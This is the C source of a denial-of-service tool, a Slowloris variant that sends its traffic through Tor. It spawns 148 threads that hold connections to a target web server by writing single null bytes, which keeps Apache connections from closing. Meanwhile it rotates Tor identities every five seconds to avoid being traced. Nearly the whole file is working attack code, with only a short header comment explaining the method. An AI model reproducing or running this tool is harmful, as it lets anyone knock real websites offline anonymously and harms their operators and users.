Slowloris with a twist over tor

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/* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 *                  Slowloris with a twist over tor
 * =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 *
 * Due to the alpha version of this code being leaked I've decided
 * to release an improved version to fully show this method of
 * attack mostly free of the bugs / dependency on torsocks. This
 * attack works on a similar idea of slowloris only it sends packets
 * containing a single 0x00 and optionally nothing causing Apache
 * to keep the connection alive almost indefinitely.
 *
 * Due to no one knowing how th3j35t3r's XerXes works I can not say
 * if this is the same method. This was one of my many ideas I was
 * exploring as to how it could possibly work that has some successful
 * results.
 *
 * - SanguineRose / William Welna
 *
 *                        Leaked Version
 *        http://seclists.org/fulldisclosure/2011/Jul/84
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>

/* Re-connecting to tor sometimes takes a while, in order for this to be effective it requires
 * mass amounts of threads handling only a few connections each, since this is a POC I will leave
 * it up to others to fix that. It also has limited success/attack lengths due to tor being slow
 */
#define CONNECTIONS 3
#define THREADS 148

typedef struct {
        const char *host, *port;
} thread_args;

// Simple debug function
void dump_array(char *name, char *data, int size) {
        int x, z, indent = strlen(name) + 2;
        fprintf(stderr, "%s { ", name);
        for(x=0; x < size; x++) {
                for(z=0; z < indent; z++)
                        putc(0x20, stderr);
                fprintf(stderr, "%20x\n", data[x]);
        }
        fprintf(stderr, "};\n");
}

int make_socket(const char *host, const char *port) {
        struct addrinfo hints, *servinfo, *p;
        int sock, r, y=1;
        memset(&hints, 0, sizeof(hints));
        hints.ai_family = AF_UNSPEC;
        hints.ai_socktype = SOCK_STREAM;
        if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
                fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
                return -1;
        }
        for(p = servinfo; p != NULL; p = p->ai_next) {
                if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
                        continue;
                }
                setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &y, 4);
                if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
                        close(sock);
                        continue;
                }
                break;
        }
        if(p == NULL) {
                if(servinfo)
                        freeaddrinfo(servinfo);
                return -2;
        }
        if(servinfo)
                freeaddrinfo(servinfo);
        return sock;
}

/* Opens SOCKS5 connection to tor
 * I also dedicate this function to pr0f <3
 */
int pr0f_loves_me_tor_connect(const char *host, const char *port) {
        char *buf = calloc(1024, sizeof(char));
        short l = strlen(host), t;
        int x, sock;
        fprintf(stderr, "[Connect %s:%s]\n", host, port);
        if((sock=make_socket("127.0.0.1", "9050"))<0) {
                free(buf);
                return sock;
        }
        write(sock, "\x05\x01\x00", 3); // SOCKS5, 1 Authentication Method, No Auth/Plain
        read(sock, buf, 1024);
        if((buf[0] != 0x05) || (buf[1] == 0xFF) || (buf[1] != 0x00)) {
                free(buf);
                return -3; // Auth not accepted by socks server / wrong version
        }
        buf[0] = 0x05; buf[1] = 0x01; buf[2] = 0x00; buf[3] = 0x03; buf[4] = l;
        for(x=0; x < l; x++)
                buf[5+x] = host[x];
        x=l+5;
        t = htons(atoi(port));
        memcpy((buf+x), &t, 2);
        //dump_array("final_request", buf, x+2);
        write(sock, buf, x+2);// send request
        read(sock, buf, 1024);
        if((buf[0] == 0x05) && (buf[1] == 0x00)) { // connection granted/success
                free(buf);
                return sock;
        }
        free(buf);
        return -4; // Unable to conect
}

// This is for the SIGPIPE error on bad connections / premature closing
void broke(int s) {
        // do nothing
}

void *attack(void *arg) {
        thread_args *a = (thread_args *)arg;
        int x, r, socks[CONNECTIONS];
        fprintf(stderr, "[Thread Started]\n");
        for(x=0; x < CONNECTIONS; x++)
                socks[x]=0;
        signal(SIGPIPE, &broke);
        while(1) {
                for(x=0; x < CONNECTIONS; x++) {
                        if(socks[x] <= 0) {
                                socks[x] = pr0f_loves_me_tor_connect(a->host, a->port);
                                fprintf(stderr, "[Socket Returned %i]\n", socks[x]);
                        }
                        if(write(socks[x], "\0", 1) < 0) {
                                close(socks[x]);
                                fprintf(stderr, "[Socket Error Returned %i]\n", socks[x]);
                                socks[x] = pr0f_loves_me_tor_connect(a->host, a->port);
                        }
                }
                usleep(100000);
        }
}

void do_help(char *n) {
        fprintf(stderr, "Usage: %s <ip/hostname> <port>\n");
        exit(0);
}

void *cycle_identity() {
        int sock = make_socket("localhost", "9051");
        char *shit_bucket = calloc(1024, sizeof(char));
        if(sock < 0) {
                fprintf(stderr, "Can't connect to tor control port\n");
                free(shit_bucket);
                pthread_exit(NULL);
        }
        write(sock, "AUTHENTICATE \"\"\n", 16);
        while(1) {
                write(sock, "signal NEWNYM\n", 15);
                fprintf(stderr, "[cycle_identity -> signal NEWNYM\n");
                read(sock, shit_bucket, 1024);
                sleep(5);
        }
}

int main(int argc, char **argv) {
        pthread_t threads[THREADS];
        pthread_t cycle_tid;
        thread_args arg;
        void *status;
        int x;
        if(argc != 3)
                do_help(argv[0]);
        arg.host = (const char *)argv[1];
        arg.port = (const char *)argv[2];
        pthread_create(&cycle_tid, NULL, cycle_identity, NULL);
        for(x=0; x < THREADS; x++) {
                pthread_create(&threads[x], NULL, attack, &arg);
                usleep(200000);
        }
        for(x=0; x < THREADS; x++)
                pthread_join(threads[x], &status);
        pthread_kill(cycle_tid, 15);
        pthread_exit(NULL);
        return 0;
}
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